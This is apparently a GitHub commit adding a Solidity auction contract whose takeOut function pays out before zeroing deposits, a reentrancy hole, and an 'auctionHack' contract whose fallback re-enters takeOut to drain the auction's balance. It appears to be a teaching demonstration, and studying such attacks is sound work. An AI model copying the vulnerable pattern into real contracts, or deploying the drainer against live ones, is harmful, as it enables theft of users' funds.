-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
38ba7e4
commit 2a8932e
Showing
2 changed files
with
104 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,68 @@ | ||
//SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.8.7; | ||
|
||
contract EnglishAuction{ | ||
address payable public seller; | ||
uint256 public timeToEnd; | ||
bool public running; | ||
|
||
address public highestBidder; | ||
uint public highestBid; | ||
|
||
mapping(address => uint256) public deposits; | ||
|
||
constructor(){ | ||
seller = payable(msg.sender); | ||
|
||
|
||
} | ||
|
||
function startAuction() public{ | ||
require(!running); | ||
require(seller == msg.sender); | ||
|
||
running = true; | ||
timeToEnd = block.timestamp + 1 minutes; | ||
|
||
} | ||
|
||
function bid() public payable{ | ||
require(running); | ||
|
||
require(msg.value > highestBid); | ||
|
||
deposits[msg.sender] += msg.value; | ||
|
||
//payable(highestBidder).transfer(highestBid); | ||
|
||
highestBidder = msg.sender; | ||
highestBid = msg.value; | ||
|
||
} | ||
|
||
function win() public{ | ||
require(running); | ||
require(timeToEnd <= block.timestamp); | ||
|
||
running = false; | ||
seller.transfer(highestBid); | ||
} | ||
|
||
function takeOut() public { | ||
require(msg.sender != highestBidder); | ||
require(deposits[msg.sender]!=0); | ||
|
||
(bool tryToSend,) = msg.sender.call{value: deposits[msg.sender]}(""); | ||
require(tryToSend); | ||
|
||
deposits[msg.sender] = 0; | ||
|
||
} | ||
|
||
function getBalance() public view returns(uint256){ | ||
return deposits[msg.sender]; | ||
} | ||
|
||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
//SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.8.7; | ||
|
||
interface IEnglishAuction{ | ||
function bid() external payable; | ||
function takeOut() external; | ||
function getBalance() external view returns(uint256); | ||
} | ||
|
||
contract auctionHack{ | ||
IEnglishAuction public auctionContrcat; | ||
uint public loopCounter; | ||
uint public loop = 0; | ||
|
||
constructor(address addy){ | ||
auctionContrcat = IEnglishAuction(addy); | ||
} | ||
|
||
function bid() public payable{ | ||
auctionContrcat.bid{value: msg.value}(); | ||
} | ||
|
||
function takeOut2() public{ | ||
loopCounter = address(auctionContrcat).balance / auctionContrcat.getBalance() - 1; | ||
auctionContrcat.takeOut(); | ||
} | ||
|
||
fallback() external payable{ | ||
if(loop < loopCounter){ | ||
loop += 1; | ||
auctionContrcat.takeOut(); | ||
} | ||
} | ||
|
||
} |